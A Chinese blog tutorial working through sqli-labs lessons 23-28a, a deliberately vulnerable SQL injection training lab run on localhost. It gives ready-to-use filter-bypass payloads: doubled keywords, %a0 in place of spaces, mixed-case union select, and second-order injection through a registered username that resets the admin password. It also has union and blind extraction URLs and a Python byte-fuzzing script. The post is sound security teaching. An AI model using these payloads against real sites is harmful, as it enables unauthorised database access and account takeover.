时间:2021-07-01 10:21:17 帮助过:2人阅读
最近搞逆向破解去了,http://www.giantbranch.cn/myblog/?p=27,所以这个拖得太久了,今天完工
通过sqli-labs学习sql注入——基础挑战之less1-10
http://blog.csdn.net/u012763794/article/details/51207833
通过sqli-labs学习sql注入——基础挑战之less11-22
http://blog.csdn.net/u012763794/article/details/51361152
首先怎么判断过滤了什么了,我们逐题来看看吧,我们才能进行下一轮操作
加个%23 (#的url编码),对于#,get要url编码,post提交就不用,这个可以看看前面两篇文章
那么我们可以知道后台php将#替换成空了,因为两个单引号之间没有空隙
这个不行,那么-- 单行注释看看,因为我们要在--后加个空格或其他什么字符,单行注释才有效
我们可以看到这里的报错只把原语句的limit前面单引号报出来了,因为我们加了空格,使它与我们自己加的单引号隔了一个空格,我们自己加的单引号跟前面的匹配就没报错,只报了一个单引号,对比less1我们就知道过滤了--,替换成空了
下面来进行不加空格的对比
下图是less1的,只对后面的单引号报错出来,因为这个单引号与前面的id=‘1‘被--分开了,前面单引号是匹配的,不会报错显示出来
对于less23,这里判断就更加明显了,两个单引号之间没空隙了,所以肯定是将 -- 替换为空字符了
我们看看源码,确实是这样
那么总结一下如何判断注释过滤,具体过滤成什么就要看报错信息了
#:直接加 单引号,双引号等,后面再加个#
--:这个也是咯,直接加 单引号,双引号等,后面再加个--,后面不用空格(因为--注释有效的时候,后面要有空格或其他字符才行,这里判断过滤就不用了)
那么只能闭合绕过了吧,多行注释符好像不行
提取数据什么的就看上两篇的less 1吧
login.php (对登录进行处理的文件),对用户和密码都过滤了
login_create.php(对新建用户进行处理的文件)
$username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']);
过滤了三个字段,
到了pass_change.php我们就有收获了
发现更改密码时,直接从SESSION里面获取而没有进行任何的过滤,一旦我的用户名有注释符,那么我就可以随意更改别人的密码了
那我们就先新建一个特殊的用户,再更改密码就行了
下面以admin为例(账户:admin‘ -- 密码:asdf)
注册后看看数据库有没有
这样用户名不是就有了注释符了,我们登陆去改密码吧,为了方便查看效果,我在php添加输出sql语句
到数据库看看确实被改了
可能有同学会问,注册的时候不是被过滤了单引号吗
是的, 我们admin‘ -- 变成了admin\‘ -- ,
这才能使admin\‘ -- 的左右单引号正常匹配,但存进数据库的时候他就是一个单引号啊,(转义只是暂时在这里使它失去了单引号的作用,但它还是表示单引号)
当然这里新建用户
admin‘ # 也是可以的
确认单引号字符注入 http://localhost/sqli-labs/Less-25/?id=1' 判断过滤了or,跟less1对比报错即可推断出来 http://localhost/sqli-labs/Less-25/?id=1' or1还是截个图吧,第一个是less1的,第二个图是less25的
同理
判断过滤了and http://localhost/sqli-labs/Less-25/?id=1' and1
用&&的时候要urlencode才能传到后台
当然还可以双写绕过
http://localhost/sqli-labs/Less-25/?id=1' oorr '1'='1 http://localhost/sqli-labs/Less-25/?id=1' anandd '1'='1
确认过滤了# http://localhost/sqli-labs/Less-26/?id=%231 确认过滤了or http://localhost/sqli-labs/Less-26/?id=or1 确认过滤多行注释符 http://localhost/sqli-labs/Less-26/?id=/*1 确认过滤了单行注释 http://localhost/sqli-labs/Less-26/ 确认过滤了斜杠 http://localhost/sqli-labs/Less-26/?id=/1 确认过滤了反斜杠 http://localhost/sqli-labs/Less-26/?id=1确认过滤了空格,报错注入才行哦,这个判断 http://localhost/sqli-labs/Less-26/?id=1' ' '
#-*- coding:utf8 -*- """ @version: @author: giantbranch @file: testsqli.py @time: 2016/5/29 23:14 """ import requests def changeToHex(num): tmp = hex(i).replace("0x", "") if len(tmp)<2: tmp = '0' + tmp return "%" + tmp req = requests.session() for i in xrange(0,256): i = changeToHex(i) url = "http://localhost/sqli-labs/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1" ret = req.get(url) if 'Dumb' in ret.content: print "good,this can use:" + i
确认字段数 http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3,4%a0%26%26%a0%271%27=%271 http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271 获取当前使用的数据库 http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271 获取表信息 http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271 获取列信息 http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0anandd%a0table_name='emails'%26%26%a0%271%27=%271 最后获取数据,发现提取不了 http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,email_id,3%a0from%a0emails%26%26%a0%271%27=%271为什么表列都提取出来了,数据就提取不了呢,报错报到我崩溃了,这个暂时搁着,先下一课,知道的可以告诉我
http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0union%a0select(1),2,'3
http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0%271%27=%271
http://localhost/sqli-labs/Less-27/?id=1'发现也过滤空格
http://localhost/sqli-labs/Less-27/?id=select1 http://localhost/sqli-labs/Less-27/?id=union1
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1 爆数据库 http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271 爆表 http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列 http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3 提取数据
http://localhost/sqli-labs/Less-27a/?id=1"or"1"="1
http://localhost/sqli-labs/Less-27a/?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3 http://localhost/sqli-labs/Less-27a/?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3
http://localhost/sqli-labs/Less-28/?id=0%27)%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0(%271%27=%271
长度是8 http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>7)and('1')=('1 http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>8)and('1')=('1 第一个字符是115,即s http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>114)and('1')=('1 http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1
本文链接:http://blog.csdn.net/u012763794/article/details/51457142
通过sqli-labs学习sql注入——进阶挑战之less23-28a
标签: